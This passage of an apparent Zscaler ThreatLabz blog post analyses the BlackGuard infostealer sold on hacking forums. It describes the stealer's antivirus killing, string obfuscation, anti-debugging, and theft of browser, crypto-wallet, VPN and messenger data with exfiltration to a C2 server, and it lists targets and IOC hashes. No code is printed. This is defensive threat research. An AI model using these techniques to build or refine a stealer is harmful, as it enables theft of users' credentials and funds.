sell all kinds of malicious illegal products, including software, trojans, stealers, exploits, and leaked credentials. Malware-as-a-service has contributed substantially to the growth of ransomware and phishing attacks (among other attack types) in the past year, as they lower the technical barrier to entry for criminals to carry out attacks. While recently perusing one of these hacking forums during regular research activities, the Zscaler ThreatLabz team came across BlackGuard, a sophisticated stealer, advertised for sale. Blackguard is currently being sold as malware-as-a-service with a lifetime price of $700 and a monthly price of $200. BlackGuard has the capability to steal all types of information related to Crypto wallets, VPN, Messengers, FTP credentials, saved browser credentials, and email clients. In this blog, we share analysis and screenshots of the techniques this stealer uses to steal information and evade detection using obfuscation, as well as techniques used for anti-debugging. Fig 1. Forum thread promoting the BlackGuard stealer Technical Analysis: BlackGuard is a .NET stealer packed with a crypto packer. Currently, it is in active development and has the following capabilities: Anti-Detection: Once executed, it checks and kills the processes related to antivirus and sandbox as shown in the figure below. Fig 2. BlackGuard detects antivirus processes String Obfuscation: The stealer contains a hardcoded array of bytes which is decoded in runtime to ASCII strings followed by base64 decoding. This allows it to bypass antivirus and string-based detection. Fig 3. String decryption technique Anti-CIS: BlackGuard checks for the infected device country by sending a request to “” and exits itself if the device is located in the Commonwealth of Independent States (CIS). Fig 4. Whitelist CIS Anti-Debug: BlackGuard uses user32!BlockInput() which can block all mouse and keyboard events in order to disrupt attempts at debugging. Fig 5. Anti-debugging technique Stealing Function: After all the checks are completed, the stealer function gets called which collects information from various browsers, software, and hardcoded directories, as shown in the screenshot below. Fig 6. Stealer code Fig 7. Features Posted on forum Browsers: BlackGuard steals credentials from Chrome- and Gecko-based browsers using the static path. It has the capability to steal history, passwords, autofill information, and downloads. Fig 8. Browser stealing function Cryptocurrency Wallets: BlackGuard also supports the stealing of wallets and other sensitive files related to crypto wallet applications. It targets sensitive data in files such as wallet.dat that contain the address, the private key to access this address, and other data. The stealer checks for the default wallet file location in AppData and copies it to the working folder. Fig 9. Crypto wallet stealing function Crypto Extensions: This stealer also targets crypto wallet extensions installed in Chrome and Edge with hardcoded extension IDs as shown in the figure below. Fig 10. Crypto extensions stealing function C2 Exfiltration: After collecting the information, BlackGuard creates a .zip of all the files and sends it to the C2 server through a POST request along with the system information like Hardware ID and country as shown in the figure below. Fig 11. C2 Exfiltration code snippet Fig 12. Traffic capture of exfiltration Fig 13. Panel screenshot Targeted Applications: Browsers: Chrome, Opera, Firefox, MapleStudio, Iridium, 7Star, CentBrowser, Chedot, Vivaldi, Kometa, Elements Browser, Epic Privacy Browser, uCozMedia, Coowon, liebao, QIP Surf, Orbitum, Comodo, Amigo, Torch, Comodo, 360Browser, Maxthon3, K-Melon, Sputnik, Nichrome, CocCoc, Uran, Chromodo, Edge, BraveSoftware. Crypto Wallets: AtomicWallet, BitcoinCore, DashCore, Electrum, Ethereum, Exodus, LitecoinCore, Monero, Jaxx, Zcash, Solar, Zap, AtomicDEX, Binance, Frame, TokenPocket, Wassabi. Crypto Wallet Extensions: Binance, coin98, Phantom, Mobox, XinPay, Math10, Metamask, BitApp, Guildwallet, iconx, Sollet, Slope Wallet, Starcoin, Swash, Finnie, KEPLR, Crocobit, OXYGEN, Nifty, Liquality, Auvitas wallet, Math wallet, MTV wallet, Rabet wallet, Ronin wallet, Yoroi wallet, ZilPay wallet, Exodus, Terra Station, Jaxx. Email Clients: Outlook Other Applications: NordVPN, OpenVPN, ProtonVpn, Totalcomander, Filezilla, WinSCP, Steam Messengers: Telegram, Signal, Tox, Element, Pidgin, Discord Conclusion: While applications of BlackGuard are not as broad as other stealers, BlackGuard is a growing threat as it continues to be improved and is developing a strong reputation in the underground community. To combat against BlackGuard and similar credential theft malware, we recommend that security teams inspect all traffic and use malware prevention tools that include both antivirus (for known threats) and sandboxing capabilities (for unknown threats). We also recommend training end users on the following: Don’t use the same passwords for all the services and replace them on a regular cadence. Use multi-factor authentication where applicable. Avoid visiting unknown sites. Avoid opening suspicious unknown files. IOCs: Hashes: 4d66b5a09f4e500e7df0794552829c925a5728ad0acd9e68ec020e138abe80ac c98e24c174130bba4836e08d24170866aa7128d62d3e2b25f3bc8562fdc74a66 7f2542ed2768a8bd5f6054eaf3c5f75cb4f77c0c8e887e58b613cb43d9dd9c13 f2d25cb96d3411e4696f8f5401cb8f1af0d83bf3c6b69f511f1a694b1a86b74d bbc8ac47d3051fbab328d4a8a4c1c8819707ac045ab6ac94b1997dac59be2ece f47db48129530cf19f3c42f0c9f38ce1915f403469483661999dc2b19e12650b ead17dee70549740a4e649a647516c140d303f507e0c42ac4b6856e6a4ff9e14 1ee88a8f680ffd175943e465bf85e003e1ae7d90a0b677b785c7be8ded481392 71edf6e4460d3eaf5f385610004cfd68d1a08b753d3991c6a64ca61beb4c673a e08d69b8256bcea27032d1faf574f47d5412b6da6565dbe52c968ccecea1cd5d Domains: Zscaler coverage: We have ensured coverage for the payloads seen in these attacks via advanced threat signatures as well as our advanced cloud sandbox. Advanced Threat Protection: Win32.PWS.Blackguard Advanced Cloud Sandbox: Fig 14. Zscaler sandbox detection About ThreatLabz ThreatLabz is the security research arm of Zscaler. This world-class team is responsible for hunting new threats and ensuring that the thousands of organizations using the global Zscaler platform are always protected. In addition to malware research and behavioral analysis, team members are involved in the research and development of new prototype modules for advanced threat protection on the Zscaler platform, and regularly conduct internal security audits to ensure that Zscaler products and infrastructure meet security compliance standards. ThreatLabz regularly publishes in-depth analyses of new and emerging threats on its portal, Wed, 30 3月 2022 21:58:12 -0700 Mitesh Wani